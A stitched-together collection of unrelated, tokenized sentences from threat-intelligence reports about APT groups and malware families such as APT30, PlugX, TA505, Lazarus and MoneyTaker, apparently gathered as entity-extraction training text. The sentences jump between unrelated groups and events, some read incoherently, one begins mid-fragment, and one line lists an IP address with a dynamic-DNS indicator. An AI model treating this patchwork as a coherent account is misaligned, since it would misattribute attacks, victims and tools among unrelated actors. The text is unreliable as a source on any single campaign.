In April 2015 , we uncovered the malicious efforts of APT30 , a suspected China-based threat group that has exploited the networks of governments and organizations across the region , targeting highly sensitive political , economic and military information . The initial attack vector used in the attack against the data center is unclear , but researchers believe LuckyMouse possibly had conducted watering hole or phishing attacks to compromise accounts belonging to employees at the national data center .


PlugX is a modular structured malware that has many different operational plugins such as communication compression and encryption , network enumeration , files interaction , remote shell operations and more . Symantec detects this threat as Backdoor.Nidiran .


The last TA505 campaigns featuring The Trick appeared in mid-September 2017 with payloads alternating between Locky and The Trick .


Another important modification is in the message transfer process : With this modification , an application sends device location coordinates with every message . Throughout our tracking , we've seen this group deploy its main backdoor as well as other tools against various victims , but June 2019 was the first time we saw the Buhtrap group use a zero-day exploit as part of a campaign . GreezeBackdoor is a tool of the DarkHotel APT group , which we have previously written about .


Known targets of the Leviathan have been involved in the maritime industry , and research institutes , academic organizations , and private firms in the United States . One narrowly-targeted spearphishing from Infy was sent from the compromised account of a political activist promoting participation inside of Iran , claiming to be a set of images of a British-Iranian dual national that has been held in Evin Prison for five years on espionage charges .


The idea is simple - if the infected device belongs to a real person , sooner or later this person will move around , increasing the step counter . They also download apks secretly and record audios and videos , then upload users’ privacy information to server , causing users’ privacy leakage . Remexi is a basic back door Trojan that allows Cadelle to open a remote shell on the computer and execute commands .


The overlaps between these two sets of attacks include exploitation of a common vulnerability , similar toolset and a shared government victimology , but no strong pivot points to connect these attack campaigns together .


Asacub versions Sewn into the body of the Trojan is the version number , consisting of two or three digits separated by periods . CTU researchers assess with high confidence that threat groups like Threat Group-1314 will continue to live off of the land to avoid detection and conduct their operations . It appears hacking group Outlaw , which has been silent for the past few months , was simply developing their toolkit for illicit income sources . Threat actors often compete for the same resources , and this could n't be further from the truth when it comes to website compromises .


This RAT is the origin of the attackers ' group name . The first attack in the US that Group-IB attributes to MoneyTaker was conducted in the spring of 2016 : money was stolen from the bank by gaining access to First Data 's " STAR " network operator portal .


The hackers also started tweeting a few samples of internal emails from the company . Operation Erebus leverages another Flash Player exploit ( CVE-2016-4117 ) through the use of watering hole attacks .


HenBox is not running as a system app ) , another ELF library is loaded to aid with executing super-user commands . In 2018 , we observed APT41 target a third healthcare company , although their goals during this compromise were unclear . After compromising a political organization , APT28 will steal internal data .


That 's because the malware roots most of the phones it infects , a process that subverts key security mechanisms built into Android . CTU researchers have observed NICKEL ACADEMY ( Lazarus ) copying and pasting job descriptions from online recruitment sites in previous campaigns . APT33 : 8.26.21.221 [REDACTED].ddns.net . While we were unable to identify the SCIL commands executed , we believe they were probably commands to open circuit breakers in the victim ’s substation environments .


] orgaryastark [ . Based on information collected in the course of this research , the targets and victims of Infy 's campaigns have continued to be strongly aligned with Iran 's " soft war " agenda , internal security policies , and regional adversaries of the hardline establishment of the Islamic Republic of Iran . The supplied registrant information does not need to be accurate for the zone to be registered successfully . Scripts should be captured from the file system when possible to determine their actions and intent .


Unfortunately , for now we can ’ t say in what environment these landing pages were used in the wild , but according to all the information at our dsiposal , we can assume that they are perfect for exploitation using malicious redirects or man-in-the-middle attacks . Webinjects targeting Japan , a country we haven’t seen targeted by Panda Banker before . The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .


The following protections are in place to protect customers against Earworm attacks :


The VM dispatcher loop routine ends with a JMP to another routine . In December 2015 , Unit 42 published a blog about a cyber espionage attack using the Emissary Trojan as a payload . In either case , the malware stops running . Among the group ’s most interesting characteristics are : • Strong functional and structural similarities linking its malware toolset to early MiniDuke and more recent CosmicDuke and OnionDuke components In early 2013 , GReAT observed several incidents that were so unusual they suggested the existence of a new , previously unknown threat actor .


With this blog series we will be sharing our research analysis with the research and broader security community , starting with the PHA family , Zen . In 2017 , the number of MoneyTaker 's attacks has remained the same with 8 US banks , 1 law firm and 1 bank in Russia being targeted . On November 26, 2015, a suspected China based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies . the web shell included the ability to run arbitrary commands and upload , delete , and view the contents of files .


All of the other IP address we discovered sharing the same TLS certificate behave in the same way . One of the primary targets of the Taidoor campaign appeared to be the Taiwanese government . It enables the attackers to spy on victims using rather basic backdoor capabilities . Kaspersky ’s Global Research and Analysis Team ( GReAT ) has observed signs of its attacks in several countries including Germany , South Korea and Uzbekistan , as well as the US .